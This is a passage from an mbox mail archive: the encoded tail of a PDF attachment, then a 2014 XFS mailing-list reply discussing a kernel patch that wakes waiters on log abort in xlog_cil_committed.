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 PNlnwSNEW+h5fdYZeLzI2000P1SOmRnq8RbK9gSYNMzn/A9W7vIT4E1+hn3gsJaD9a0aXizAPPt+ ff5I+J8R8DdvAafSxs57Yd9Uit2O7l67gfWfPq9nhh9WrCDqAqJfuq1xj7QO4LrUtMpeyvu/r9f/ uV5/fr3+7/X6i+v1/9brf12v/369/uP1+v3r9Z8Bi8MXY+NOgEE6A77w5bs/hTJ9A9ifl/v/8ps/ u374Z9+8u17T9fLXa7hep7/9/K//ev3s4XrF9d6X69eu1+F6vb9e8/W+v7r+e/nbv7/5Fp4zrH+/ PNt1rrA+D68LXXG91xtXK1e7HtbPw/pbvNo7x7Wu5/X/L+VNcA1Q92/Xf9t3Edrmm/Xvl/fW9e+y tsfH9T21td/az3+w9sdLf//h9fqf1+u/Xq//cL1+53r9y+v176/X/7hev3u9/tP1+i/X60+u17+5 Xv/uev3R+u+/vl7/bf3/y/V71+uPX37/5z/9/C/+1b/95//s7adPv/P3/v435W8A8a8hxg0KZW5k c3RyZWFtDQplbmRvYmoNCjE0IDAgb2JqDQo8PC9UeXBlIC9Gb250RGVzY3JpcHRvcg0KL0FzY2Vu dCA4NTkNCi9DYXBIZWlnaHQgNjY2DQovRGVzY2VudCAtMTQxDQovRmxhZ3MgMzINCi9Gb250QkJv eCBbMCAtMTQxIDk5NiA4NTVdDQovRm9udE5hbWUgL8vOzOUNCi9JdGFsaWNBbmdsZSAwDQovU3Rl bVYgODcNCi9Gb250RmlsZTIgMTMgMCBSDQo+Pg0KZW5kb2JqDQoxNSAwIG9iag0KPDwvVHlwZSAv Rm9udA0KL0Jhc2VGb250IC/LzszlDQovU3VidHlwZSAvQ0lERm9udFR5cGUyDQovQ0lEU3lzdGVt SW5mbyA8PC9PcmRlcmluZyhJZGVudGl0eSkvUmVnaXN0cnkoQWRvYmUpL1N1cHBsZW1lbnQgMD4+ DQovRFcgMTAwMA0KL1dbNDUxWzEwMDBdNDUyWzEwMDBdNDU3WzEwMDBdNDU4WzEwMDBdNDYzWzEw MDBdNDY0WzEwMDBdMTE2NlsxMDAwXTEyMDdbMTAwMF0xMzE0WzEwMDBdMjAyOFsxMDAwXTI0Njlb MTAwMF0yNTIwWzEwMDBdMjUzM1sxMDAwXTMyODFbMTAwMF0zMzMyWzEwMDBdMzgxOFsxMDAwXTQw MDRbMTAwMF00NTc5WzEwMDBdNTMzMlsxMDAwXTYxNzVbMTAwMF02OTgwWzEwMDBdNzQxMVsxMDAw XTc0MzhbMTAwMF05ODY5WzEwMDBdMTIwOTJbMTAwMF0xMjI1OFsxMDAwXTEyNTczWzEwMDBdMTMw MDdbMTAwMF0xMzg2NFsxMDAwXTE1OTA0WzEwMDBdMTc3NTFbMTAwMF0xOTI4M1sxMDAwXTcyNlsx MDAwXV0NCi9Gb250RGVzY3JpcHRvciAxNCAwIFINCj4+DQplbmRvYmoNCjE2IDAgb2JqDQo8PC9G aWx0ZXIgL0ZsYXRlRGVjb2RlIC9MZW5ndGggNDM4DQo+Pg0Kc3RyZWFtDQp4nFWSz46bMBDGnyDv 4GOrHvBfbCQUCbAt5bDtqkl7Z8FJkRpADjnk7dczzm7VA6Cfvxk838wU3cEe5mkjxWtchmPYyHma xxhuyz0OgbyFyzQTxsk4DduT8D1c+5UUKfn4uG3hepjPC6lrsit+JvW2xQf5cjrxb/QrKX7EMcRp vqQTyX/9TifH+7r+Ddcwb4SS/Z6M4bwrupd+/d5fAykw8d/h6bEGwpHZ8/JlDLe1H0Ls50sgNWWd 2JNatip9wjz+r++EyGlv5+FPH3cf4YJStkeSmXimKlOTqcnUZvJIjCJZmgn/Io2DElyLebLVSE4A Kc6BvHRA2nWJFGcGqGoUkLD4l8oaIEklkkNN5hu6FJKo9BbIUqhaaYG1OAd1qoqVQL5BrbKgMebA reqoB5IWNU9RMwwclVyCP9ZK0EqlUes85JWaYZ6lDkmAP14am0jTtgLyAhzpqjRIDtzqhoJbwRhG thIiBccO6s7DfaLk4NZQBW6F49BPY2SXSCoFHTTeQAfzZOtKaaiFclsm8p6lWtK4n3OFwcNWfi7S cI8x7RiuLm4S7NA0h8/tXpcV1gWedw7Wx0cNCmVuZHN0cmVhbQ0KZW5kb2JqDQo1IDAgb2JqDQo8 PC9UeXBlIC9Gb250DQovU3VidHlwZSAvVHlwZTANCi9CYXNlRm9udCAvy87M5Q0KL0VuY29kaW5n IC9JZGVudGl0eS1IDQovRGVzY2VuZGFudEZvbnRzIFsxNSAwIFJdDQovVG9Vbmljb2RlIDE2IDAg Ug0KPj4NCmVuZG9iag0KeHJlZg0KMCAxNw0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAxMDc5 IDAwMDAwIG4NCjAwMDAwMDA0MjMgMDAwMDAgbg0KMDAwMDAwMDg5MyAwMDAwMCBuDQowMDAwMDA0 MjU1IDAwMDAwIG4NCjAwMDAwMjcyMzYgMDAwMDAgbg0KMDAwMDAwMDAxNyAwMDAwMCBuDQowMDAw MDAwMTAzIDAwMDAwIG4NCjAwMDAwMDA1MzYgMDAwMDAgbg0KMDAwMDAwMDg1MSAwMDAwMCBuDQow MDAwMDAxMTQ1IDAwMDAwIG4NCjAwMDAwMDEyNDUgMDAwMDAgbg0KMDAwMDAwNDA2MiAwMDAwMCBu DQowMDAwMDA0NTUzIDAwMDAwIG4NCjAwMDAwMjYwMDggMDAwMDAgbg0KMDAwMDAyNjIwMSAwMDAw MCBuDQowMDAwMDI2NzE5IDAwMDAwIG4NCnRyYWlsZXINCjw8DQovU2l6ZSAxNw0KL1Jvb3QgMTAg MCBSDQovSW5mbyA4IDAgUg0KL0lEIFs8Y2FiNjFkNzgzMzhlNGRhOTkwNzIxYzFiYjE3MzgxZDY+ PGNhYjYxZDc4MzM4ZTRkYTk5MDcyMWMxYmIxNzM4MWQ2Pl0NCj4+DQpzdGFydHhyZWYNCjI3Mzc1 DQolJUVPRg0K ------=dgj620_8148_339305897.824942-- From jeff.liu@oracle.com Fri Jan 3 07:17:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EDAF47F3F for ; Fri, 3 Jan 2014 07:17:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id AB3F98F8033 for ; Fri, 3 Jan 2014 05:17:56 -0800 (PST) X-ASG-Debug-ID: 1388755074-04bdf00fe0471730001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id gp3OtU36AHtE7ql9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Fri, 03 Jan 2014 05:17:55 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s03DHqF1007924 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 3 Jan 2014 13:17:53 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s03DHpFA000072 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 3 Jan 2014 13:17:51 GMT Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s03DHpMJ001041; Fri, 3 Jan 2014 13:17:51 GMT Received: from [192.168.1.106] (/123.119.108.85) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 03 Jan 2014 05:17:50 -0800 Message-ID: <52C6B86C.6060407@oracle.com> Date: Fri, 03 Jan 2014 21:17:32 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: Mark Tinguely , "xfs@oss.sgi.com" Subject: Re: [PATCH 1/4] xfs: wake up cil->xc_commit_wait while removing ctx from cil->xc_committing References: <52B98292.5040002@oracle.com> <52C18F56.70709@sgi.com> <52C4286C.5040007@oracle.com> <20140102004503.GN20579@dastard> <52C69035.7010606@oracle.com> X-ASG-Orig-Subj: Re: [PATCH 1/4] xfs: wake up cil->xc_commit_wait while removing ctx from cil->xc_committing In-Reply-To: <52C69035.7010606@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388755075 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143688 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/03 2014 18:25 PM, Jeff Liu wrote: > On 01/02 2014 08:45, Dave Chinner wrote: >> On Wed, Jan 01, 2014 at 10:38:36PM +0800, Jeff Liu wrote: >>> On 12/30 2013 23:20 PM, Mark Tinguely wrote: >>>> On 12/24/13 06:48, Jeff Liu wrote: >>>>> From: Jie Liu >>>>> >>>>> I can easily to hit a hang up while running fsstress and shutting down >>>>> XFS on SSD via the tests below: >>> >>>>> >>>>> Task1 Task2 >>>>> >>>>> list_add(&ctx->committing,&cil->xc_committing); >>>>> >>>>> xlog_wait(&cil->xc_commit_wait..) >>>>> schedule()... >>>>> >>>>> Aborting!! list_del(&ctx->committing); >>>>> wake_up_all(&cil->xc_commit_wait);<-- MISSING! >>>>> >>>>> As a result, we should handle this situation in xlog_cil_committed(). >>>>> >>>>> Signed-off-by: Jie Liu >>>>> --- >>>>> fs/xfs/xfs_log_cil.c | 2 ++ >>>>> 1 file changed, 2 insertions(+) >>>>> >>>>> diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c >>>>> index 5eb51fc..8c7e9c7 100644 >>>>> --- a/fs/xfs/xfs_log_cil.c >>>>> +++ b/fs/xfs/xfs_log_cil.c >>>>> @@ -406,6 +406,8 @@ xlog_cil_committed( >>>>> >>>>> spin_lock(&ctx->cil->xc_push_lock); >>>>> list_del(&ctx->committing); >>>>> + if (abort) >>>>> + wake_up_all(&ctx->cil->xc_commit_wait); >>>>> spin_unlock(&ctx->cil->xc_push_lock); >>>>> >>>>> xlog_cil_free_logvec(ctx->lv_chain); >>>> >>>> Hi Jeff, I hope you had a good break, >>> Thanks :) >>>> >>>> So you are saying the wakeup in the CIL push error path missing? >>> Yes. >>> >>>> I agree with that. But I don't like adding a new wake up to >>>> xlog_cil_committed(), which is after the log buffer is written. >> >> Hi Mark, any particular reason why you don't like this? It would be >> great if you could explain why you don't like something up front so >> we don't have to guess at your reasons or wait for another round >> trip in the conversation to find them out.... >> >>> IMO this callback would be called if any problem is happened before >>> the log buffer is written as well, e.g, >>> xlog_cil_push()->xfs_log_notify() <-- failed >>> | >>> |->xlog_cil_committed() >> >> Right, it's the generic CIL commit handler and it can be called >> directly or from log IO completion. >> >> The question is this: it is safe to wake up waiters from log IO >> completion if that is where an abort is first triggered from (i.e. >> on log IO error). From what I can see, it is safe to do the wakeup >> on abort because the iclog iwe attach the IO completion callback to >> in xlog_cil_push() cannot be put under IO until we release the >> reference gained in xfs_log_done(). >> >> But this raises an interesting question - the wakeup in >> xlog_cil_push() is done before the log IO for the checkpoint is >> complete, so the wakeup is occurring on checkpoint processing >> completion, not iclog IO completion. i.e. the actual log force >> sleeping still needs to wait for log IO completion to occur after >> then CIL has been pushed. This occurs in the _xfs_log_force{_lsn}() >> wrappers, where iclog state changes are waited for. >> >> Why is this important? The iclog write/flush wakeups are all done >> from IO completion context, except for the force shutdown case, >> which calls xlog_state_do_callback(log, XFS_LI_ABORTED, NULL); to >> trigger wakeups and aborts via the log IO completion callbacks on >> all the outstanding iclogs. >> >> IOWs, we've already got a design pattern that says: >> >> - run log force wakeups from IO completions >> - on shutdown, run IO completions directly to abort pending >> log operations >> >> So, really, issuing wakeups from iclog IO completion on log aborts >> or errors is exactly what we currently do to ensure that shutdowns >> don't leave processes waiting on log force completion behind. So >> from that perspective, adding the wakeup on abort to >> xlog_cil_committed() seems like the right approach to take. >> >> Actually, there's more issues here: xlog_cil_push() leaks a >> reference to the iclog when it triggers the error path via >> xfs_log_notify() failure. At this point we always need to release >> the iclog. Hence if xfs_log_notify() were to always add the IO >> completion to the iclog and xlog_cil_committed() issued wakeups on >> abort errors, then we could completely ignore the log state in >> xfs_log_notify() and have xfs_log_release_iclog() capture the IO >> error and the subsequent shutdown would handle the aborts and >> wakeups.... > > There is indeed an iclog ref leak after digging into the code. >> >> Hmmm, then xfs_log_notify could go away, and the callback list could >> be made a lockless list and the ic_callback_lock could go away, >> too.... > > Hence we can fold xfs_log_notify() into xlog_cil_push() directly, but am > not sure I get the reason why we could make the callback list 